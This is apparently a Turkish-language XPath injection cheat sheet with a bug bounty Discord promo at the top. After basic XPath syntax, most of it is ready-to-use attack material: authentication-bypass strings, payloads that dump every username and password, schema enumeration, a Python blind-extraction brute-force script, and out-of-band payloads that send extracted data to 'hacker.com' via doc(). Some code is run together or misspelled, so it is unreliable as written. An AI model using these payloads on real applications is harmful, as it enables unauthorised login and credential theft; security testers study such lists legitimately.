Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!
Hacking İçgörüleri
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
Gerçek Zamanlı Hack Haberleri
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
Son Duyurular
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
Bugün Discord üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
Temel Söz Dizimi
XPath Injection olarak bilinen bir saldırı tekniği, kullanıcı girdisine dayalı olarak XPath (XML Path Language) sorguları oluşturan uygulamalardan yararlanmak için kullanılır.
Tanımlanan Düğümler
İfadeler, bir XML belgesindeki çeşitli düğümleri seçmek için kullanılır. Bu ifadeler ve açıklamaları aşağıda özetlenmiştir:
nodename: "nodename" adındaki tüm düğümler seçilir.
/: Kök düğümden seçim yapılır.
//: Belgedeki konumlarından bağımsız olarak, mevcut düğümden seçimle eşleşen düğümler seçilir.
.: Mevcut düğüm seçilir.
..: Mevcut düğümün ebeveyni seçilir.
@: Nitelikler seçilir.
XPath Örnekleri
Yol ifadeleri ve sonuçlarına dair örnekler şunlardır:
bookstore: "bookstore" adındaki tüm düğümler seçilir.
/bookstore: Kök öğesi bookstore seçilir. Bir öğeye giden mutlak yolun, bir eğik çizgi (/) ile başlayan bir yol ile temsil edildiği not edilmiştir.
bookstore/book: bookstore'un çocukları olan tüm book öğeleri seçilir.
//book: Belgedeki tüm book öğeleri seçilir, konumlarından bağımsız olarak.
bookstore//book: bookstore öğesinin altındaki tüm book öğeleri seçilir, bookstore öğesi altındaki konumlarından bağımsız olarak.
//@lang: lang adındaki tüm nitelikler seçilir.
Koşulların Kullanımı
Seçimleri daraltmak için koşullar kullanılır:
/bookstore/book[1]: bookstore öğesinin ilk book öğesi çocuğu seçilir. IE 5'ten 9'a kadar olan sürümler için, ilk düğümü [0] olarak indeksleyen bir çözüm, JavaScript aracılığıyla SelectionLanguage'ı XPath olarak ayarlamaktır.
/bookstore/book[last()]: bookstore öğesinin son book öğesi çocuğu seçilir.
/bookstore/book[last()-1]: bookstore öğesinin sondan bir önceki book öğesi çocuğu seçilir.
/bookstore/book[position()<3]: bookstore öğesinin ilk iki book öğesi çocuğu seçilir.
//title[@lang]: lang niteliğine sahip tüm title öğeleri seçilir.
//title[@lang='en']: "lang" niteliği değeri "en" olan tüm title öğeleri seçilir.
/bookstore/book[price>35.00]: Fiyatı 35.00'dan büyük olan bookstore'daki tüm book öğeleri seçilir.
/bookstore/book[price>35.00]/title: Fiyatı 35.00'dan büyük olan bookstore'daki book öğelerinin tüm title öğeleri seçilir.
Bilinmeyen Düğümlerin İşlenmesi
Bilinmeyen düğümleri eşleştirmek için joker karakterler kullanılır:
*: Herhangi bir öğe düğümünü eşleştirir.
@*: Herhangi bir nitelik düğümünü eşleştirir.
node(): Herhangi bir türdeki düğümü eşleştirir.
Diğer örnekler şunlardır:
/bookstore/*: bookstore öğesinin tüm çocuk öğe düğümlerini seçer.
//*: Belgedeki tüm öğeleri seçer.
//title[@*]: En az bir niteliği olan tüm title öğelerini seçer.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Şemayı Tanımlama ve Çalma
andcount(/*)=1#rootandcount(/*[1]/*)=2#count(root) = 2 (a,c)andcount(/*[1]/*[1]/*)=1#count(a) = 1 (b)andcount(/*[1]/*[1]/*[1]/*)=0#count(b) = 0andcount(/*[1]/*[2]/*)=3#count(c) = 3 (d,e,f)andcount(/*[1]/*[2]/*[1]/*)=0#count(d) = 0andcount(/*[1]/*[2]/*[2]/*)=0#count(e) = 0andcount(/*[1]/*[2]/*[3]/*)=1#count(f) = 1 (g)andcount(/*[1]/*[2]/*[3]/[1]*)=0#count(g) = 0#The previous solutions are the representation of a schema like the following#(at this stage we don't know the name of the tags, but jus the schema)<root><a><b></b></a><c><d></d><e></e><f><h></h></f></c></root>andname(/*[1])="root"#Confirm the name of the first tag is "root"andsubstring(name(/*[1]/*[1]),1,1)="a"#First char of name of tag `<a>` is "a"and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOBdoc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Kimlik Doğrulama Atlatma
Sorguların Örneği:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
Kullanıcı ve şifrede OR atlatma (her ikisinde de aynı değer)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Null enjeksiyonunu istismar etme
Username: ' or 1]%00
Kullanıcı Adında veya Şifrede Çift OR (sadece 1 savunmasız alan ile geçerlidir)
ÖNEMLİ: "ve" ilk yapılan işlemdir.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
String extraction
Çıktı, dizeleri içerir ve kullanıcı değerleri aramak için manipüle edebilir:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Blind Explotation
Bir değerin uzunluğunu al ve karşılaştırmalarla çıkar:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='#True if length equals 4' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='#True is first equals "a"substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Python Örneği
import requests, stringflag =""l =0alphabet = string.ascii_letters + string.digits +"{}_()"for i inrange(30):r = requests.get("http://example.com?action=user&userid=2 and string-length(password)="+str(i))if ("TRUE_COND"in r.text):l = ibreakprint("[+] Password length: "+str(l))for i inrange(1, l +1):#print("[i] Looking for char number " + str(i))for al in alphabet:r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)if ("TRUE_COND"in r.text):flag += alprint("[+] Flag: "+ flag)break
doc(concat("http://hacker.com/oob/", RESULTS))doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))#Instead of doc() you can use the function doc-availabledoc-available(concat("http://hacker.com/oob/", RESULTS))#the doc available will respond true or false depending if the doc exists,#user not(doc-available(...)) to invert the result if you need to